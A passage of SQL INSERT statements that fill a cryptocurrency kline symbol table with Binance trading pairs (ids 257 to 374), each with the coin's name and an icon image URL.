NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (257, 'binance', 'YFI', 'YFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yearn-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (258, 'binance', 'COMP', 'COMP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/compound-governance-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (259, 'binance', 'GAL', 'GAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-galaxy.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (260, 'binance', 'JASMY', 'JASMY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jasmycoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (261, 'binance', 'BTCST', 'BTCST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-standard-hashrate-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (262, 'binance', 'CELO', 'CELO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celo-gold.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (263, 'binance', 'QTUM', 'QTUM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qtum.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (264, 'binance', 'AUCTION', 'AUCTION', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auction.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (265, 'binance', 'LIT', 'LIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litentry.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (266, 'binance', 'ASTR', 'ASTR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/astar.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (267, 'binance', 'ALGO', 'ALGO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/algorand.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (268, 'binance', 'MDT', 'MDT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/measurable-data-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (269, 'binance', 'DUSK', 'DUSK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dusk-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (270, 'binance', 'ENS', 'ENS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-name-service.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (271, 'binance', 'ATOM', 'ATOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosmos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (272, 'binance', 'HOOK', 'HOOK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hooked-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (273, 'binance', 'USDC', 'USDC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usd-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (274, 'binance', 'VET', 'VET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/vet.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (275, 'binance', 'UNI', 'UNI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uniswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (276, 'binance', 'QNT', 'QNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qnt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (277, 'binance', 'PEOPLE', 'PEOPLE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/constitutiondao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (278, 'binance', 'ZEC', 'ZEC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (279, 'binance', 'ENJ', 'ENJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enjin-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (280, 'binance', 'SUI', 'SUI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sui.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (281, 'binance', 'SSV', 'SSV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ssv-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (282, 'binance', 'LDO', 'LDO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lido-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (283, 'binance', 'RVN', 'RVN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ravencoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (284, 'binance', 'NEO', 'NEO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (285, 'binance', 'ARB', 'ARB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitrum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (286, 'binance', 'IOTA', 'IOTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iota.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (287, 'binance', 'CVC', 'CVC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/civic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (288, 'binance', 'MASK', 'MASK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mask-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (289, 'binance', 'NMR', 'NMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/numeraire.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (290, 'binance', 'FET', 'FET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fetch-ai.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (291, 'binance', 'XRP', 'XRP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (292, 'binance', 'KEY', 'KEY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/selfkey.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (293, 'binance', 'MAGIC', 'MAGIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (294, 'binance', 'LPT', 'LPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/livepeer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (295, 'binance', 'IMX', 'IMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/immutablex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (296, 'binance', 'IOTX', 'IOTX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iotex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (297, 'binance', 'SKL', 'SKL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skale.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (298, 'binance', 'DENT', 'DENT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dent.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (299, 'binance', 'BCH', 'BCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (300, 'binance', 'REN', 'REN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/republic-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (301, 'binance', 'OCEAN', 'OCEAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/765e20e91cad0d6a15c3f99ffdc4242e.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (302, 'binance', 'AR', 'AR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arweave.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (303, 'binance', 'WLD', 'WLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/walk-dogs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (304, 'binance', 'BAND', 'BAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/band-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (305, 'binance', 'ONE', 'ONE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harmony.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (306, 'binance', 'BAT', 'BAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/basic-attention-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (307, 'binance', '1000XEC', '1000XEC', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (308, 'binance', 'STORJ', 'STORJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storj.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (309, 'binance', 'HNT', 'HNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heliumhnt.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (310, 'binance', 'JOE', 'JOE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (311, 'binance', 'MANA', 'MANA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentraland.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (312, 'binance', 'SRM', 'SRM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/serum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (313, 'binance', 'MAV', 'MAV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/massive-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (314, 'binance', 'SUSHI', 'SUSHI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sushi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (315, 'binance', 'FXS', 'FXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frax-share.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (316, 'binance', 'ROSE', 'ROSE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oasis-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (317, 'binance', 'BAKE', 'BAKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bakerytoken.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (318, 'binance', 'SPELL', 'SPELL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spell-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (319, 'binance', 'SXP', 'SXP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swipe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (320, 'binance', 'AXS', 'AXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axie-infinity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (321, 'binance', '1000FLOKI', '1000FLOKI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (322, 'binance', 'ALICE', 'ALICE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/my-neighbor-alice.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (323, 'binance', 'PENDLE', 'PENDLE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pendle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (324, 'binance', 'THETA', 'THETA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/theta-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (325, 'binance', 'OP', 'OP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optimism.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (326, 'binance', 'LUNA2', 'LUNA2', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (327, 'binance', 'FLOW', 'FLOW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flow.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (328, 'binance', 'HOT', 'HOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/holo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (329, 'binance', 'RLC', 'RLC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rlc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (330, 'binance', 'XMR', 'XMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monero.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (331, 'binance', 'FLM', 'FLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flamingo-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (332, 'binance', 'MINA', 'MINA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mina-protocoliou.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (333, 'binance', 'UNFI', 'UNFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unifi-protocol-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (334, 'binance', 'BTS', 'BTS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitshares.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (335, 'binance', 'ALPHA', 'ALPHA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (336, 'binance', 'CVX', 'CVX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/convex-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (337, 'binance', 'RNDR', 'RNDR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/render-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (338, 'binance', 'WOO', 'WOO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wootrade-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (339, 'binance', 'BLUR', 'BLUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blur-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (340, 'binance', 'FIL', 'FIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (341, 'binance', 'APE', 'APE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apecoin-ape.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (342, 'binance', 'HIGH', 'HIGH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/highstreet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (343, 'binance', 'MATIC', 'MATIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (344, 'binance', 'SC', 'SC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siacoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (345, 'binance', 'XVS', 'XVS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/venus.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (346, 'binance', 'XLM', 'XLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/stellar.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (347, 'binance', 'ICX', 'ICX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (348, 'binance', 'T', 'T', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/threshold-network-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (349, 'binance', 'SAND', 'SAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-sandbox.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (350, 'binance', 'DEFI', 'DEFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/6fff9d7f15b84ece1cfd29c034824645.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (351, 'binance', 'API3', 'API3', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/api3.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (352, 'binance', 'ACH', 'ACH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemy-pay.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (353, 'binance', 'TOMO', 'TOMO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tomochain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (354, 'binance', 'COMBO', 'COMBO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/furucombo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (355, 'binance', 'EOS', 'EOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (356, 'binance', 'C98', 'C98', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin98.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (357, 'binance', 'DASH', 'DASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (358, 'binance', 'GRT', 'GRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-graph.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (359, 'binance', 'WAVES', 'WAVES', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waves.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (360, 'binance', 'CRV', 'CRV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/curve.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (361, 'binance', 'XVG', 'XVG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verge.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (362, 'binance', 'ZIL', 'ZIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zilliqa.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (363, 'binance', 'OMG', 'OMG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omisego.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (364, 'binance', 'CHZ', 'CHZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chiliz.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (365, 'binance', 'AUDIO', 'AUDIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/audius.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (366, 'binance', 'ICP', 'ICP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfn.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (367, 'binance', 'OGN', 'OGN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (368, 'binance', 'UMA', 'UMA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uma.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (369, 'binance', 'INJ', 'INJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/injective-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (370, 'binance', 'RUNE', 'RUNE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thorchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (371, 'binance', 'BLUEBIRD', 'BLUEBIRD', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (372, 'binance', 'XTZ', 'XTZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tezos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (373, 'binance', 'CTK', 'CTK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/temp/64c45531-6b6a-4f37-81a6-0d3cff6caf12___76-TJuSm_400x400.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (374, 'binance', 'TRB', 'TRB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tellor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO 